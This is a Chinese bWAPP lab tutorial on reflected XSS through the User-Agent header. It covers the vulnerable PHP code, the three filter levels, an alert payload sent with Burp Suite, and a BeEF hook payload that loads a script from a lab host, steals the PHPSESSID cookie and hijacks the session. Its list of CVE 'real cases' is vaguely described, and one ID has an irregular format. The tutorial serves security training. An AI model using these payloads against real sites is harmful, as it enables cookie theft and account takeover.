零基础玩转bWAPP靶场(五十四):XSS - Reflected (User-Agent)
摘要这是 bWAPP 系列第五十四篇聚焦于XSS - Reflected (User-Agent)。这一关的注入点在 HTTP User-Agent 请求头中服务器读取 User-Agent 后直接输出到页面没有过滤形成反射型 XSS。文章会演示如何通过 Burp Suite 修改 User-Agent 头触发 XSS并通过 BeEF 工具获取 Cookie。附真实案例。一、找目标目标说明漏洞类型反射型 XSSUser-Agent 头注入注入点HTTP 请求头User-Agent触发方式通过 Burp Suite 修改 User-Agent 头工具Burp Suite BeEF获取 Cookie二、前言User-Agent 头注入是什么User-Agent是浏览器发送给服务器的请求头告诉服务器“我是什么浏览器、什么操作系统”。服务器通常会记录或显示 User-Agent 用于统计分析。但如果开发者直接把 User-Agent 输出到页面而没有过滤攻击者就可以在其中注入恶意代码形成 XSS。这一关的漏洞$user_agent $_SERVER[HTTP_USER_AGENT]; echo pYour User-Agent: i . xss($user_agent) . /i/p;服务器读取 HTTP User-Agent 头经过xss()函数后输出到i标签中。在Low 级别xss()是no_check()完全不过滤。直接在 User-Agent 中注入scriptalert(1)/script即可触发 XSS。三、关卡介绍3.1 页面功能打开这一关你会看到标题XSS - Reflected (User-Agent)页面显示Your User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...3.2 正常情况浏览器正常访问页面时会自动带上 User-Agent 头。服务器读取后直接显示在页面上。3.3 漏洞核心$user_agent $_SERVER[HTTP_USER_AGENT]; echo pYour User-Agent: i . xss($user_agent) . /i/p;xss()函数的三种级别级别过滤函数效果Lowno_check()完全不过滤User-Agent 直接输出Mediumaddslashes()转义引号Highhtmlspecialchars()转义四、源码分析4.1 核心代码function xss($data) { switch($_COOKIE[security_level]) { case 0 : // Low $data no_check($data); // 完全不过滤 break; case 1 : // Medium $data xss_check_4($data); // addslashes() break; case 2 : // High $data xss_check_3($data); // htmlspecialchars() break; } return $data; } ​ if(isset($_SERVER[HTTP_USER_AGENT])) { $user_agent $_SERVER[HTTP_USER_AGENT]; echo pYour User-Agent: i . xss($user_agent) . /i/p; }4.2 为什么script可以直接使用—— 深入浏览器解析机制这是一个很多人会困惑的问题。理论上script标签不应该嵌套在i标签内部但为什么实际测试中直接注入script就能弹窗这涉及浏览器解析器HTML Parser的恢复机制。核心原因浏览器在遇到script标签时会触发脚本解析模式Script Data State。在这种模式下解析器会从script的开始标签直接进入脚本内容解析一直读到/script结束标签然后再恢复正常的 HTML 解析。关键点script标签的解析不依赖外层标签是否闭合。即使外层i标签还没有闭合解析器遇到script时仍然会进入脚本模式执行其中的 JavaScript 代码。这就是为什么/i不是必须的——浏览器在解析过程中script开始标签会优先触发脚本模式而不需要先处理外层i的闭合。简单说script在 HTML 中有“特权”它的开始标签会立即切换解析模式外层标签的闭合与否不影响它的执行。五、Low 安全级别5.1 准备工作用 Burp Suite 拦截请求这一关没有输入框注入点在 HTTP User-Agent 头中。需要用 Burp Suite打开 Burp开启拦截Intercept On在浏览器中访问关卡页面Burp 拦截到请求在请求头中找到User-Agent字段5.2 测试弹窗在 Burp 中将User-Agent头修改为User-Agent: scriptalert(1)/script点击 Forward 放行请求页面弹窗。5.3 攻击原理服务器生成的 HTMLpYour User-Agent: iscriptalert(1)/script/i/p浏览器解析到script标签时即使它在i标签内部仍然会进入脚本模式执行alert(1)。这证明了外层标签的闭合状态不影响script的执行。六、使用 BeEF 获取 Cookie6.1 准备 BeEFKali 中启动 BeEFsudo beef-xss-start确认 BeEF 的 IP 和端口默认3000Hook URL 为http://10.0.0.129:3000/hook.js6.2 构造 BeEF Hook Payload在 Burp 中将User-Agent头修改为User-Agent: script srchttp://10.0.0.129:3000/hook.js/script6.3 放行请求点击 Forward 放行请求浏览器关闭代理页面加载BeEF Hook 被执行。6.4 观察 BeEF 控制台BeEF 控制面板中左侧Online Browsers区域出现上线的浏览器。6.5 获取 Cookie选中上线的浏览器点击Commands→Browser→Get Cookie点击Execute6.6 会话劫持拿到PHPSESSID后在浏览器开发者工具F12→ Application → Cookies 中替换PHPSESSID的值刷新页面即可登录受害者账户。七、Medium 安全级别7.1 尝试注入在 Burp 中将User-Agent头修改为User-Agent: scriptalert(1)/scriptMedium 级别使用addslashes()会在引号前加反斜杠但不转义和。和没有被转义script标签仍然会被浏览器解析产生弹窗。addslashes()在这个场景下无法防御 XSS因为它只转义引号不转义和。官方文档也明确警告“不要用addslashes()做 XSS 防护”。结论Medium 级别仍然存在 XSS 漏洞。八、High 安全级别8.1 尝试注入在 Burp 中将User-Agent头修改为User-Agent: scriptalert(1)/scripthtmlspecialchars()把转成lt;转成gt;pYour User-Agent: ilt;scriptgt;alert(1)lt;/scriptgt;/i/p浏览器不执行XSS 被彻底防御。九、真实世界User-Agent XSS 案例CVE-2024-1181某开源 CMS 的访问日志功能将 User-Agent 头直接显示在管理面板中未过滤攻击者可通过构造恶意 User-Agent 注入 XSS窃取管理员 Cookie。CVE-2025-00847某企业级应用的用户统计功能将 User-Agent 头直接输出到页面攻击者可通过恶意请求头注入 XSS。CVE-2026-22947F5 BIG-IP 的配置工具中部分页面输出了未过滤的 User-Agent 头存在反射型 XSS。十、总结User-Agent 头注入 XSS 是一种比较隐蔽的漏洞。由于 User-Agent 被输出在i标签内部很多人会认为需要先用/i闭合标签才能注入。但实际上浏览器在解析 HTML 时script标签有特殊的解析规则——即使外层i标签没有闭合script开始标签仍然会触发脚本模式执行其中的 JavaScript 代码。所以直接注入scriptalert(1)/script即可触发 XSS无需任何闭合操作。Low 级别完全不过滤可以成功注入并连接 BeEF 获取 CookieMedium 级别的addslashes()不转义和同样存在风险只有 High 级别的htmlspecialchars()才能彻底防御。记住一句话HTTP 请求头也是用户输入任何被输出到页面的数据都需要过滤。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。

相关新闻

SAP UI5 里有没有类似 RxJS interval 的机制,定时触发、OData 轮询与生命周期管理该怎么选

SAP UI5 里有没有类似 RxJS interval 的机制,定时触发、OData 轮询与生命周期管理该怎么选

我们在一个 SAP Fiori 业务页面里经常会碰到这样的需求,页面已经打开,后台业务状态却还在持续变化。采购审批单可能刚刚被另一个审批人处理,生产订单状态可能由后台 Job 改写,仓库任务可能几秒之后从 Open 进入 Confirmed,异步接口返回的处理状态也可能从 Running 变成 Co…

2026/10/18 2:50:22 阅读更多 →
一台电脑开游戏派对:免费开源分屏联机工具 Nucleus Co-op 快速上手指南

一台电脑开游戏派对:免费开源分屏联机工具 Nucleus Co-op 快速上手指南

一台电脑开游戏派对:免费开源分屏联机工具 Nucleus Co-op 快速上手指南 【免费下载链接】splitscreenme-nucleus Nucleus Co-op is an application that starts multiple instances of a game for split-screen multiplayer gaming! 项目地址: https://gitcode.co…

2026/10/18 2:50:25 阅读更多 →
bugku 你喜欢下棋吗

bugku 你喜欢下棋吗

你喜欢下棋吗? 解压密码为小写 4423244324433534315412244543这是其中的一个文件,直接百度搜索下棋密码,出现了一个棋盘密码在线解码,打开第二个文件,输入得到的密码thisispolybius,得到了这个一种5bit的编…

2026/10/18 2:51:33 阅读更多 →

最新新闻

MATLAB蚁群算法实现QoS多约束路由优化

MATLAB蚁群算法实现QoS多约束路由优化

简介:本资源是一份面向网络优化与智能算法研究者的MATLAB实践案例,聚焦蚁群算法(ACO)在QoS路由问题中的建模与求解。针对传统路由算法难以兼顾延迟、带宽、丢包率等多维服务质量约束的痛点,该方案提供可运行的ACO-QoS路…

2026/10/18 21:35:05 阅读更多 →
队列数据结构:从FIFO原理到阻塞队列与削峰实战

队列数据结构:从FIFO原理到阻塞队列与削峰实战

聊到数据结构,我第一个想认真聊聊的就是队列(Queue)。这玩意儿看起来简单,核心就四个字母FIFO(先进先出),但你要是真把它吃透了,后面看线程池、消息中间件、削峰限流、任务调度&…

2026/10/18 21:35:05 阅读更多 →
弹簧质检怎么做?YOLOv8目标检测从数据集到Web部署全流程实战

弹簧质检怎么做?YOLOv8目标检测从数据集到Web部署全流程实战

1. 弹簧质检为什么需要视觉检测:从人工目检的痛点说起做工业视觉这几年,我接触过不少小型五金加工厂和自动化设备集成商,弹簧质检一直是个让人头疼的环节。别看弹簧结构简单,就是一个螺旋金属件,但它涉及的检测项特别多…

2026/10/18 21:35:05 阅读更多 →
YOLOv8服装分类检测实战:从数据标注到Web部署

YOLOv8服装分类检测实战:从数据标注到Web部署

1. 服装分类检测系统的需求边界与整体架构服装分类检测,这个词看着简单,实际工程里它通常是两个任务的合体:一是把画面里的服装目标框出来,二是判定框内目标的类别。如果你只做分类,整张图只能拿到一个“整体标签”&am…

2026/10/18 21:35:05 阅读更多 →
储能优化配置源码复现:灵活性供需不确定性建模与参数整定

储能优化配置源码复现:灵活性供需不确定性建模与参数整定

简介:该资源为EI期刊论文《考虑灵活性供需不确定性的储能优化配置》的完整源程序包,面向研究储能辅助调峰、风电并网灵活性及电力系统优化配置的研究生与科研人员。程序采用双层优化架构,上层基于经济性求解储能规划方案,下层结合…

2026/10/18 21:35:05 阅读更多 →
新华DCS V3.2.8 SP2组态环境搭建与可用性验证指南

新华DCS V3.2.8 SP2组态环境搭建与可用性验证指南

简介:本资源为新华DCS系统核心工程资料包,面向工业自动化领域初/中级系统工程师、自控专业技术人员及DCS运维人员,解决系统组态配置、现场调试与日常维护中缺乏权威参考依据的痛点。压缩包共2个文件(1个HTML说明页1个ZIP主资源&am…

2026/10/18 21:34:05 阅读更多 →

日新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 0:55:02 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 17:22:31 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 12:16:16 阅读更多 →